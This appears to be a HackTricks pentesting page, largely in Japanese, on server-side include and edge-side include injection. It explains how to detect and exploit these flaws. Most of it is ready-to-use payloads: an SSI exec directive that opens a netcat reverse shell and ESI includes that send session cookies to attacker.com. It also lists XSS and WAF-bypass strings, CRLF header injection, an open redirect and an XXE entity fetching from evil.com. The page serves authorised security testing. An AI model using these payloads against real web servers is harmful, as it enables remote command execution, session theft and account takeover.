hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
2023-07-07 23:42:27 +00:00

18 KiB
Raw Blame History

サーバーサイドインクルージョン/エッジサイドインクルージョンインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

サーバーサイドインクルージョンの基本情報

SSIサーバーサイドインクルードは、HTMLページに配置され、ページが提供される際にサーバーで評価される指示です。これにより、CGIプログラムや他の動的な技術を介してページ全体を提供する必要なく、既存のHTMLページに動的に生成されたコンテンツを追加することができます。
たとえば、次のように既存のHTMLページにディレクティブを配置することができます。

<!--#echo var="DATE_LOCAL" -->

そして、ページが提供されると、このフラグメントは評価され、その値で置き換えられます。

Tuesday, 15-Jan-2013 19:28:54 EST

SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページのどれだけが静的であり、ページが提供されるたびに再計算する必要があるかによって決まります。SSIは、上記のように現在の時刻などの小さな情報を追加するための素晴らしい方法です。しかし、ページの大部分が提供される時点で生成される場合は、他の解決策を探す必要があります。定義はここから取得されました)。

ウェブアプリケーションが拡張子.shtml.shtm、または.stmのファイルを使用している場合、SSIの存在を推測することができますが、これに限定されません。

典型的なSSI式の形式は次のようになります

<!--#directive param="value" -->

チェック

To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:

  1. Identify user-controllable input: Look for any user input that is directly or indirectly used in the server-side code or templates. This can include parameters in URLs, form inputs, cookies, or HTTP headers.

  2. Inject SSI/ESI payloads: Once you have identified the user-controllable input, inject SSI or ESI payloads to test for vulnerabilities. For SSI, you can use the <!--#include virtual="file" --> directive to include a file. For ESI, you can use the <esi:include src="url" /> tag to include a URL.

  3. Observe the response: Check if the injected payload is executed and if any server-side code or template files are included in the response. Look for any unexpected content or error messages that may indicate a successful inclusion.

  4. Exploit the vulnerability: If the payload is successfully executed and includes server-side code or template files, try to exploit the vulnerability further. This can include accessing sensitive files, executing arbitrary code, or escalating privileges.

  5. Mitigate the vulnerability: Once the vulnerability is confirmed, it is important to mitigate it to prevent potential attacks. This can involve sanitizing user input, implementing proper input validation, and using secure coding practices.

By following these steps, you can effectively check for SSI and ESI Injection vulnerabilities and take appropriate actions to secure your web application.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

エッジサイドインクルージョン

コンテンツの一部が次回の取得時に変化する可能性があるため、情報のキャッシュや動的なアプリケーションに問題があります。これがESIが使用される理由で、ESIタグを使用してキャッシュバージョンを送信する前に生成する必要がある動的コンテンツを示します。
もし攻撃者がキャッシュコンテンツ内にESIタグを注入できる場合、ユーザーに送信される前にドキュメントに任意のコンテンツを注入することができます。

ESIの検出

以下のヘッダーがサーバーからのレスポンスに含まれている場合、サーバーはESIを使用しています。

Surrogate-Control: content="ESI/1.0"

このヘッダーが見つからない場合、サーバーはESIを使用している可能性があります
盲目的な攻撃手法も使用できます。攻撃者のサーバーにリクエストが到着するはずです。

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESIの悪用

GoSecureは、異なるESI対応ソフトウェアに対して試すことができる攻撃の可能性を理解するためのテーブルを作成しました。以下のテーブルの列名に関して、いくつかの説明を提供します

  • Includes: <esi:includes>ディレクティブをサポートしています
  • Vars: <esi:vars>ディレクティブをサポートしています。XSSフィルタをバイパスするのに役立ちます
  • Cookie: ドキュメントのクッキーはESIエンジンからアクセス可能です
  • Upstream Headers Required: 上流アプリケーションがヘッダを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しません
  • Host Allowlist: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはそれらのホストに対してのみ可能です
ソフトウェア Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Yes Yes Yes Yes No
Varnish Cache Yes No No Yes Yes
Fastly Yes No No No Yes
Akamai ESI Test Server (ETS) Yes Yes Yes No No
NodeJS esi Yes Yes Yes No No
NodeJS nodesi Yes No No No Optional

XSS

以下のESIディレクティブは、サーバーのレスポンス内に任意のファイルをロードします。

<esi:include src=http://attacker.com/xss.html>

ファイル_http://attacker.com/xss.html_には<script>alert(1)</script>のようなXSSペイロードが含まれている可能性があります。

クライアントのXSS保護をバイパスする

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Cookieの盗み出し

  • リモートでCookieを盗み出す
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • レスポンスに反映させることで、XSSを使用してHTTP_ONLYクッキーを盗む
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
  • クッキーの反映による完全なアカウント乗っ取り

プライベートなローカルファイル

これは「ローカルファイルインクルージョン」とは混同しないでください。

<esi:include src="secret.txt">

CRLF

CRLFCarriage Return Line Feedは、テキストファイル内の改行を表す特殊な文字シーケンスです。CRキャリッジリターンはカーソルを行の先頭に移動させ、LFラインフィードはカーソルを次の行に移動させます。

CRLFインジェクションは、Webアプリケーションにおいて、ユーザーの入力が直接レスポンスヘッダーに挿入される場合に発生する脆弱性です。攻撃者は、改行文字を使用してヘッダーを改ざんし、任意のヘッダーやレスポンスを挿入することができます。

CRLFインジェクションの影響は、セッションハイジャック、クロスサイトスクリプティングXSS、クロスサイトリクエストフォージェリCSRFなど、さまざまな攻撃につながる可能性があります。

CRLFインジェクションを防ぐためには、ユーザーの入力を適切にエスケープするか、改行文字を削除する必要があります。また、セキュリティヘッダーの適切な設定や、最新のパッチやアップデートの適用も重要です。

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

オープンリダイレクト

以下は、レスポンスに Location ヘッダーを追加します。

<!--esi $add_header('Location','http://attacker.com') -->

ヘッダーの追加

  • 強制リクエストでヘッダーを追加する
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • レスポンスにヘッダーを追加しますXSSを含むレスポンスで「Content-Type: text/json」をバイパスするのに便利です
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

ヘッダーにCRLFを追加するCVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai デバッグ

これにより、レスポンスに含まれるデバッグ情報が送信されます:

<esi:debug/>

ESI + XSLT = XXE

xslt値を_dca_パラメータに指定することで、**eXtensible Stylesheet Language Transformations (XSLT)**ベースのESIインクルードを追加することも可能です。次のインクルードは、HTTPサロゲートにXMLファイルとXSLTファイルのリクエストを行わせます。その後、XSLTファイルがXMLファイルをフィルタリングするために使用されます。このXMLファイルを使用して、**XML External Entity (XXE)攻撃を実行することができます。これにより、攻撃者はServer-Side Request Forgery (SSRF)**攻撃を実行することができますが、ESIインクルード自体がSSRFベクトルであるため、あまり有用ではありません。外部DTDは解析されません。なぜなら、基礎となるライブラリXalanがそれをサポートしていないためです。ローカルファイルを抽出することはできません。

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLTファイル

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

XSLTページをチェックしてください

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

参考文献

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥